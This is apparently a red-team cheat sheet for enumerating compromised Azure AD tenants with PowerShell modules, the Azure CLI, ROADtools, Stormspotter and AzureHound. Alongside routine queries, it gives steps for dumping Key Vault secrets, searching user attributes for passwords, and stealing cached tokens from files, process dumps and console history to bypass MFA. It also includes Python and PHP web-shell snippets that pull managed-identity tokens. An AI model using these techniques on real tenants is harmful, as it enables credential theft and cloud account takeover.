- Enumerating through Azure Portal
- Enumeration using AzureAD Module
- Enumeration using Az powershell
- Enumeration using Azure CLI
- Using Azure tokens
- Tools
- The three main tools used to enumerate
- AzureAD Module. Syntax used is
*AzureAD*
- Used to manage Azure AD.
- Only to interact with Azure AD, no access to Azure resources.
- Azure Powershell. Syntax used is
*Az*
and*AzAd*
- Used to manage Azure resources.
- Azure CLI. Syntax used is
*az *
(Az space)- Create and manage Azure Resources.
- AzureAD Module. Syntax used is
Login to the azure portal with successfull attacks https://portal.azure.com/
- Open the left menu --> Azure Active directory and click check the users, groups, Roles and administrators, Enterprise Application and devices tab.
- Also worth checking the "App services" and "Virtual machines"
- https://www.powershellgallery.com/packages/AzureAD
- Rename .nukpkg to .zip and extract it
Import-Module AzureAD.psd1
$creds = Get-Credential
Connect-AzureAD -Credential $creds
$passwd = ConvertTo-SecureString "<PASSWORD>" -AsPlainText -Force
$creds = New-Object System.Management.Automation.PSCredential ("<USERNAME>", $passwd)
Connect-AzureAD -Credential $creds
Get-AzureADCurrentSessionInfo
Get-AzureADTenantDetail
Get-AzureADUser -All $true
Get-AzureADUser -all $true | Select-Object UserPrincipalName, Usertype
Get-AzureADUser -ObjectId <ID>
Get-AzureADUser -SearchString "admin"
Get-AzureADUser -All $true |?{$_.Displayname -match "admin"}
Get-AzureADUser -ObjectId [email protected] | fl *
Get-AzureADUser -ObjectId [email protected] | %{$_.PSObject.Properties.Name}
Get-AzureADUser -All $true |%{$Properties = $_;$Properties.PSObject.Properties.Name | % {if ($Properties.$_ -match 'password') {"$($Properties.UserPrincipalName) - $_ - $($Properties.$_)"}}}
Get-AzureADUser -All $true | ?{$_.OnPremisesSecurityIdentifier -ne $null}
Get-AzureADUser -All $true | ?{$_.OnPremisesSecurityIdentifier -eq $null}
Get-AzureADUser | Get-AzureADUserCreatedObject
Get-AzureADUserOwnedObject -ObjectId <ID>
Get-AzureADGroup -All $true
Get-AzureADGroup -ObjectId <ID>
Get-AzureADGroup -SearchString "admin" | fl *
Get-AzureADGroup -All $true |?{$_.Displayname -match "admin"}
Import-module AzureADPreview.psd1
Get-AzureADMSGroup | ?{$_.GroupTypes -eq 'DynamicMembership'} | fl *
Get-AzureADGroup -All $true | ?{$_.OnPremisesSecurityIdentifier -ne $null}
Get-AzureADGroup -All $true | ?{$_.OnPremisesSecurityIdentifier -eq $null}
Get-AzureADGroupMember -ObjectId <ID>
Get-AzureADUser -SearchString 'test' | Get-AzureADUserMembership
Get-AzureADUserMembership -ObjectId [email protected]
$roleUsers = @()
$roles=Get-AzureADMSGroup
ForEach($role in $roles) {
$users=Get-AzureADGroupMember -ObjectId $role.Id
ForEach($user in $users) {
write-host $role.DisplayName, $user.DisplayName, $user.UserPrincipalName, $user.UserType
$obj = New-Object PSCustomObject
$obj | Add-Member -type NoteProperty -name GroupName -value ""
$obj | Add-Member -type NoteProperty -name UserDisplayName -value ""
$obj | Add-Member -type NoteProperty -name UserEmailID -value ""
$obj | Add-Member -type NoteProperty -name UserAccess -value ""
$obj.GroupName=$role.DisplayName
$obj.UserDisplayName=$user.DisplayName
$obj.UserEmailID=$user.UserPrincipalName
$obj.UserAccess=$user.UserType
$roleUsers+=$obj
}
}
$roleUsers
Get-AzureADDirectoryroleTemplate
Get-AzureADDirectoryRole
Get-AzureADDirectoryRole -Filter "DisplayName eq 'Global Administrator'" | Get-AzureADDirectoryRoleMember
Import-Module .\AzureADPreview.psd1
$creds = Get-Credential
Connect-AzureAD -Credential $creds
Get-AzureADMSRoleDefinition | ?{$_.IsBuiltin -eq $False} | select DisplayName
Get-AzureADDevice -All $true | fl *
Get-AzureADDeviceConfiguration | fl *
Get-AzureADDevice -All $true | Get-AzureADDeviceRegisteredOwner
Get-AzureADDevice -All $true | Get-AzureADDeviceRegisteredUser
Get-AzureADUserOwnedDevice -ObjectId <ID>
Get-AzureADUserRegisteredDevice -ObjectId <ID>
Get-AzureADDevice -All $true | ?{$_.IsCompliant -eq "True"}
Get-AzureADMSAdministrativeUnit
Get-AzureADMSAdministrativeUnitMember -id <ID>
Get-AzureADMSScopedRoleMembership -id <ID> | fl *
Get-AzureADDirectoryRole -ObjectId <ID>
Get-AzureADApplication -All $true
Get-AzureADApplication -ObjectId <ID> | fl *
Get-AzureADApplication -All $true | ?{$_.DisplayName -match "app"}
Get-AzureADApplicationPasswordCredential
Get-AzureADApplication -ObjectId <ID> | Get-AzureADApplicationOwner | fl *
Get-AzureADUser -ObjectId <ID> | Get-AzureADUserAppRoleAssignment | fl *
Get-AzureADGroup -ObjectId <ID> | Get-AzureADGroupAppRoleAssignment | fl *
Enumerate Service Principals (visible as Enterprise Applications in Azure Portal). Service principal is local representation for an app in a specific tenant and it is the security object that has privileges. This is the 'service account'! Service Principals can be assigned Azure roles.
Get-AzureADServicePrincipal -All $true
Get-AzureADServicePrincipal -ObjectId <ID> | fl *
Get-AzureADServicePrincipal -All $true | ?{$_.DisplayName -match "app"}
Get-AzureADServicePrincipal -ObjectId <ID> | Get-AzureADServicePrincipalOwner | fl *
Get-AzureADServicePrincipal -ObjectId <ID> | Get-AzureADServicePrincipalOwnedObject
Get-AzureADServicePrincipal -ObjectId <ID> | Get-AzureADServicePrincipalCreatedObject
Get-AzureADServicePrincipal -ObjectId <ID> | Get-AzureADServicePrincipalMembership | fl *
Get-AzureADServicePrincipal | Get-AzureADServicePrincipalMembership
Install-Module Az
Get-Command -Module Az.*
Get-Command *aZad*
Get-Command *aZ*
Get-Command *azvm*
Get-Command -Noun *vm* -Verb Get
Get-Command *vm*
Connect-AzAccount
Get-AzContext
Get-AzContext -ListAvailable
Set-AzContext <ID>
Get-AzSubscription
- Error 'this.Client.SubscriptionId' cannot be null' means the managed identity has no rights on any of the Azure resources.
Get-AzResource
Get-AzResource | select-object Name, Resourcetype
Get-AzRoleAssignment
Get-AzRoleAssignment -Scope <RESOURCE ID>
Get-AzRoleDefinition -Name "<ROLE DEFINITION NAME>"
Get-AzADUser
Get-AzADUser -UserPrincipalName <NAME>
Get-AzADUser -SearchString "admin"
Get-AzADUser |?{$_.Displayname -match "admin"}
Get-AzADGroup
Get-AzADGroup -ObjectId <ID>
Get-AzADGroup -SearchString "admin" | fl *
Get-AzADGroup |?{$_.Displayname -match "admin"}
Get-AzADGroupMember -ObjectId <ID>
Get all the application objects registered with the current tenant (visible in App Registrations in Azure portal). An application object is the global representation of an app.
Get-AzADApplication
Get-AzADApplication -ObjectId <ID>
Get-AzADApplication | ?{$_.DisplayName -match "app"}
Get-AzADServicePrincipal
Get-AzADServicePrincipal -ObjectId <ID>
Get-AzADServicePrincipal | ?{$_.DisplayName -match "app"}
Get-AzVM
Get-AzVM | fl
Get-AzFunctionApp
Get-AzWebApp
Get-AzWebApp | select-object Name, Type, Hostnames
Get-AzStorageAccount
Get-AzStorageAccount | fl
Get-AzKeyVault
Get-AzKeyVault -VaultName ResearchKeyVault
Get-AzKeyVaultSecret -VaultName ResearchKeyVault -AsPlainText
Get-AzKeyVaultSecret -VaultName ResearchKeyVault -Name Reader -AsPlainText
- Install https://docs.microsoft.com/en-us/cli/azure/install-azure-cli
- Accessible in the cloud shell to
az login
az login -u <USERNAME> -p <PASSWORD>
az ad signed-in-user show
az configure
az find "vm"
az find "az vm"
az find "az vm list"
Use the --output parameter to change the output layout, default is json
az ad user list --output table
Second command renames properties
az ad user list --query "[].[userPrincipalName,displayName]" --output table
az ad user list --query "[].{UPN:userPrincipalName, Name:displayName}" --output table
We can use JMESPath query on the results of JSON output. Add --query-examples at the end of any command to see examples
az ad user show list --query-examples
az account tenant list
az account subscription list
az ad signed-in-user show
az ad signed-in-user list-owned-objects
az ad user list
az ad user list --query "[].[displayName]" -o table
az ad user show --id [email protected]
az ad user list --query "[?contains(displayName,'admin')].displayName"
When using PowerShell, search for users who contain the word "admin" in their Display name. This is NOT case-sensitive:
az ad user list | ConvertFrom-Json | %{$_.displayName -match "admin"}
az ad user list --query "[?onPremisesSecurityIdentifier!=null].displayName"
az ad user list --query "[?onPremisesSecurityIdentifier==null].displayName"
az ad group list
az ad group list --query "[].[displayName]" -o table
az ad group show -g "VM Admins"
az ad group show -g <ID>
Search for groups that contain the word "admin" in their Display name (case sensitive) - run from cmd:
az ad group list --query "[?contains(displayName,'admin')].displayName"
When using PowerShell, search for groups that contain the word "admin" in their Display name. This is NOT case-sensitive:
az ad group list | ConvertFrom-Json | %{$_.displayName -match "admin"}
az ad group list --query "[?onPremisesSecurityIdentifier!=null].displayName"
az ad group list --query "[?onPremisesSecurityIdentifier==null].displayName"
az ad group member list -g "VM Admins" --query "[].[displayName]" -o table
az ad group member check --group "VM Admins" --member-id <ID>
az ad group get-member-groups -g "VM Admins"
az ad app list
az ad app list --query "[].[displayName]" -o table
az ad app show --id <ID>
az ad app list --query "[?contains(displayName,'app')].displayName"
When using PowerShell, search for apps that contain the word "slack" in their Display name. This is NOT case-sensitive:
az ad app list | ConvertFrom-Json | %{$_.displayName -match "app"}
az ad app owner list --id <ID> --query "[].[displayName]" -o table
az ad app list --query "[?passwordCredentials != null].displayName"
az ad app list --query "[?keyCredentials != null].displayName"
az ad sp list --all
az ad sp list -all --query "[].[displayName]" -o table
az ad sp show --id <ID>
az ad sp list --all --query "[?contains(displayName,'app')].displayName"
When using PowerShell, search for service principals that contain the word "slack" in their Display name. This is NOT case-sensitive:
az ad sp list --all | ConvertFrom-Json | %{$_.displayName -match "app"}
az ad sp owner list --id <ID> --query "[].[displayName]" -o table
az ad sp list --show-mine
az ad sp list --all --query "[?passwordCredentials != null].displayName"
az ad sp list -all --query "[?keyCredentials != null].displayName"
az vm list
az vm list --query "[].[name]" -o table
az webapp list
az webapp list --query "[].[name]" -o table
az functionapp list
az functionapp list --query "[].[name]" -o table
az keyvault list
az storage account list
- Both Az PowerShell and AzureAD modules allow the use of Access tokens for authentication.
- Usually, tokens contain all the claims (including that for MFA and Conditional Access etc.) so they are useful in bypassing such security controls.
- Office 365 stealer steals a token for the Graph API with the permissions that are registered.
- For managed identities check the IDENTITY_ENDPOINT to see which token it is.
- Can also use https://jwt.io or https://jwt.ms to see what token it is.
- Which token to use
- Access Token - Azure Resouces
- Graph Token - Azure AD
- Key Vault Token - Keyvault Access
- az cli stores access tokens in clear text in
accessTokens.json
in the directoryC:\Users\<username>\.Azure
- We can read tokens from the file, use them and request new ones too!
azureProfile.json
in the same directory contains information about subscriptions.- You can modify
accessTokens.json
to use access tokens with az cli but better to use with Az PowerShell or the Azure AD module. - To clear the access tokens, always use az logout
- Az PowerShell stores access tokens in clear text in
TokenCache.dat
in the directoryC:\Users\<username>\.Azure
- It also stores ServicePrincipalSecret in clear-text in
AzureRmContext.json
if a service principal secret is used to authenticate. - Another interesting method is to take a process dump of PowerShell and looking for tokens in it!
- Users can save tokens using Save-AzContext, look out for them! Search for
Save-AzContext
in PowerShell console history! - Always use Disconnect-AzAccount!!
- Check below for example in using tokens!
import os
import json
IDENTITY_ENDPOINT = os.environ['IDENTITY_ENDPOINT']
IDENTITY_HEADER = os.environ['IDENTITY_HEADER']
cmd = 'curl "%s?resource=https://management.azure.com/&api-version=2017-09-01" -H secret:%s' % (IDENTITY_ENDPOINT, IDENTITY_HEADER)
val = os.popen(cmd).read()
print("[+] Management API")
print("Access Token: "+json.loads(val)["access_token"])
print("ClientID: "+json.loads(val)["client_id"])
cmd = 'curl "%s?resource=https://graph.microsoft.com/&api-version=2017-09-01" -H secret:%s' % (IDENTITY_ENDPOINT, IDENTITY_HEADER)
val = os.popen(cmd).read()
print("\r\n[+] Graph API")
print(json.loads(val)["access_token"])
print("ClientID: "+json.loads(val)["client_id"])
<?php
system('curl "$IDENTITY_ENDPOINT?resource=https://management.azure.com/&api-version=2017-09-01" -H secret:$IDENTITY_HEADER');
?>
Get-AzAccessToken
(Get-AzAccessToken).Token
- Supported tokens - AadGraph, AnalysisServices, Arm, Attestation, Batch, DataLake, KeyVault, OperationalInsights, ResourceManager, Synapse
Get-AzAccessToken -ResourceTypeName AadGraph
(Get-AzAccessToken -Resource "https://graph.microsoft.com").Token
Connect-AzAccount -AccountId test@[email protected] -AccessToken eyJ0eXA...
- In the below command, use the one for AAD Graph (access token is still required) for accessing Azure AD
- To access something like keyvault you need to get the access token for it before you can access it.
Connect-AzAccount -AccountId test@[email protected] -AccessToken eyJ0eXA... -GraphAccessToken eyJ0eXA...
Connect-AzAccount -AccountId test@[email protected] -AccessToken eyJ0eXA...
Connect-AzAccount -AccountId test@[email protected] -AccessToken eyJ0eXA... -Tenantid <Tenant ID>
Azure CLI can request a token but cannot use it!
az account get-access-token
Supported tokens - aad-graph, arm, batch, data-lake, media, ms-graph, oss-rdbms
az account get-access-token --resource-type ms-graph
- AzureAD module cannot request a token but can use one for AADGraph or Microsoft Graph!
- To be able to interact with Azure AD, request a token for the aad-graph.
Connect-AzureAD -AccountId <ID> -AadAccessToken $token -TenantId <TENANT ID>
- The two REST APIs endpoints that are most widely used are – Azure Resource Manager - management.azure.com – Microsoft Graph - graph.microsoft.com (Azure AD Graph which is deprecated is graph.windows.net)
- Let's have a look at super simple PowerShell codes for using the APIs
$Token = 'eyJ0eXAi..'
$URI = 'https://management.azure.com/subscriptions?api-version=2020-01-01'
$RequestParams = @{
Method = 'GET'
Uri = $URI
Headers = @{
'Authorization' = "Bearer $Token"
}
}
(Invoke-RestMethod @RequestParams).value
$Token = 'eyJ0eX..'
$URI = 'https://graph.microsoft.com/v1.0/users'
$RequestParams = @{
Method = 'GET'
Uri = $URI
Headers = @{
'Authorization' = "Bearer $Token"
}
}
(Invoke-RestMethod @RequestParams).value
Throws an error and nikil is unsure why
$token = 'eyJ0eX...'
Connect-AzAccount -AccessToken $token -AccountId <clientID> Get-AzResource
$Token = 'eyJ0eX..'
$URI = 'https://management.azure.com/subscriptions?api-version=2020-01-01'
$RequestParams = @{
Method = 'GET'
Uri = $URI
Headers = @{
'Authorization' = "Bearer $Token"
}
}
(Invoke-RestMethod @RequestParams).value
$URI = 'https://management.azure.com/subscriptions/b413826f-108d-4049-8c11-d52d5d388768/resources?api-version=2020-10-01'
$RequestParams = @{
Method = 'GET'
Uri = $URI
Headers = @{
'Authorization' = "Bearer $Token"
}
}
(Invoke-RestMethod @RequestParams).value
- The runcommand privileges lets us execute commands on the VM
$URI = 'https://management.azure.com/subscriptions/b413826f-108d-4049-8c11-d52d5d388768/resourceGroups/Engineering/providers/Microsoft.Compute/virtualMachines/bkpadconnect/providers/Microsoft.Authorization/permissions?api-version=2015-07-01'
$RequestParams = @{
Method = 'GET'
Uri = $URI
Headers = @{
'Authorization' = "Bearer $Token"
}
}
(Invoke-RestMethod @RequestParams).value
$Token = 'ey..'
$URI = 'https://graph.microsoft.com/v1.0/applications'
$RequestParams = @{
Method = 'GET'
Uri = $URI
Headers = @{
'Authorization' = "Bearer $Token"
}
}
(Invoke-RestMethod @RequestParams).value
$Token = 'eyJ0..'
$URI =
'https://graph.microsoft.com/v1.0/users/[email protected]/memberOf'
$RequestParams = @{
Method = 'GET'
Uri = $URI
Headers = @{
'Authorization' = "Bearer $Token"
}
}
(Invoke-RestMethod @RequestParams).value
https://github.com/dirkjanm/ROADtools
- Enumeration using RoadRecon includes three steps – Authentication – Data Gathering – Data Exploration
roadrecon supports username/password, access and refresh tokens, device code flow (sign-in from another device) and PRT cookie.
cd C:\AzAD\Tools\ROADTools
pipenv shell
roadrecon auth -u <USERNAME> -p <PASSWORD>
roadrecon gather
roadrecon gui
https://github.com/Azure/Stormspotter
cd C:\AzAD\Tools\stormspotter\backend\
pipenv shell
python ssbackend.pyz
cd C:\AzAD\Tools\stormspotter\frontend\dist\spa\
quasar.cmd serve -p 9091 --history
cd C:\AzAD\Tools\stormspotter\stormcollector\
pipenv shell
az login -u <USERNAME> -p <PASSWORD>
python C:\AzAD\Tools\stormspotter\stormcollector\sscollector.pyz cli
- Log-on to the webserver at http://localhost:9091. creds = neo4j:BloodHound
- After login, upload the ZIP archive created by the collector.
- Use the built-in queries to visualize the data.
- https://github.com/BloodHoundAD/AzureHound
- More queries: https://hausec.com/2020/11/23/azurehound-cypher-cheatsheet/
import-module .\AzureAD.psd1
$passwd = ConvertTo-SecureString "<PASSWORD>" -AsPlainText -Force
$creds = New-Object System.Management.Automation.PSCredential ("<USERNAME>", $passwd)
Connect-AzAccount -Credential $creds
Connect-AzureAD -Credential $creds
. C:\AzAD\Tools\AzureHound\AzureHound.ps1
Invoke-AzureHound -Verbose
MATCH (n) WHERE n.azname IS NOT NULL AND n.azname <> "" AND n.name IS NULL SET n.name = n.azname
MATCH p =(n)-[r:AZGlobalAdmin*1..]->(m) RETURN p
MATCH p = (n)-[r]->(g: AZVM) RETURN p
MATCH p = (n)-[r]->(g:AZKeyVault) RETURN p
MATCH p = (n)-[r]->(g:AZResourceGroup) RETURN p
MATCH p = (n)-[r:AZOwns]->(g:AZGroup) RETURN p